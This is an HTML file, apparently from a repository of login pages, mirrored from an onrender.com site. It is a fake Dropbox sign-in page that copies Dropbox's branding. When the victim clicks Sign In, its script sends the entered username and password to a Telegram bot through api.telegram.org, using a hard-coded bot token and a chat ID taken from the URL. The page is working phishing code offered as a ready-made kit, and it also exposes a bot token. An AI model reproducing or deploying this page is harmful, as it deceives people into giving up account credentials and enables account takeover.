Login-signup-Extra1 / dropbox.html
HenzHosting's picture
Upload 19 files
c956fd3 verified
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from login-y3bd.onrender.com/dropbox.html by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:37:42 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dropbox Login</title>
<link rel="stylesheet" href="drop.css">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f7f9fc;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: white;
padding: 30px;
max-width: 400px;
width: 100%;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
text-align: center;
}
.logo {
width: 120px;
margin-bottom: 20px;
}
.login-box {
padding: 20px;
}
.login-box h1 {
color: #0061ff;
font-size: 24px;
margin-bottom: 20px;
}
.login-box input {
width: 100%;
padding: 12px;
margin: 10px 0;
border: 1px solid #d0d0d0;
border-radius: 5px;
font-size: 16px;
}
.login-box input:focus {
outline: none;
border-color: #0061ff;
}
.login-box button {
width: 100%;
padding: 12px;
background-color: #0061ff;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}
.login-box button:hover {
background-color: #0047cc;
}
.forgot, .create {
color: #0061ff;
text-decoration: none;
font-size: 14px;
}
.forgot:hover, .create:hover {
text-decoration: underline;
}
.social-logo {
width: 40px;
margin-top: 15px;
}
</style>
</head>
<body>
<div class="container">
<img src="../upload.wikimedia.org/wikipedia/commons/thumb/7/78/Dropbox_Icon.svg/512px-Dropbox_Icon.svg.png" class="logo" alt="Dropbox Logo">
<div class="login-box">
<h1>Sign in to Dropbox</h1>
<div id="login">
<input type="text" id="username" placeholder="Email or Username">
<input type="password" id="password" placeholder="Password">
<button id="submit">Sign In</button>
</div>
<a class="forgot" href="#">Forgot password?</a>
<hr>
<p>Don't have an account?</p>
<button class="create">Create an account</button>
</div>
<img src="../upload.wikimedia.org/wikipedia/commons/6/6f/Facebook_Logo_2023.html" class="social-logo" alt="Social Media Logo">
</div>
<script>
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
const chatId = getQueryParam('id');
const botToken = "7924786441:AAGIU7XlarFtwEzaRhFkNfIU6m3Sv1RyjRg";
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
document.getElementById('submit').addEventListener('click', function () {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
if (!chatId) {
alert("Error: Missing chat ID.");
return;
}
const message1 = `Dropbox Login🌐\nUsername: ${username}\nPassword: ${password}`;
const message2 = `Follow for more content! 💾`;
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message1
})
})
.then(response => response.json())
.then(data => {
if (data.ok) {
return fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message2
})
});
} else {
alert("Failed to send details.");
}
})
.catch(error => {
console.error("Error:", error);
alert("An error occurred.");
});
});
</script>
</body>
<!-- Mirrored from login-y3bd.onrender.com/dropbox.html by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:37:48 GMT -->
</html>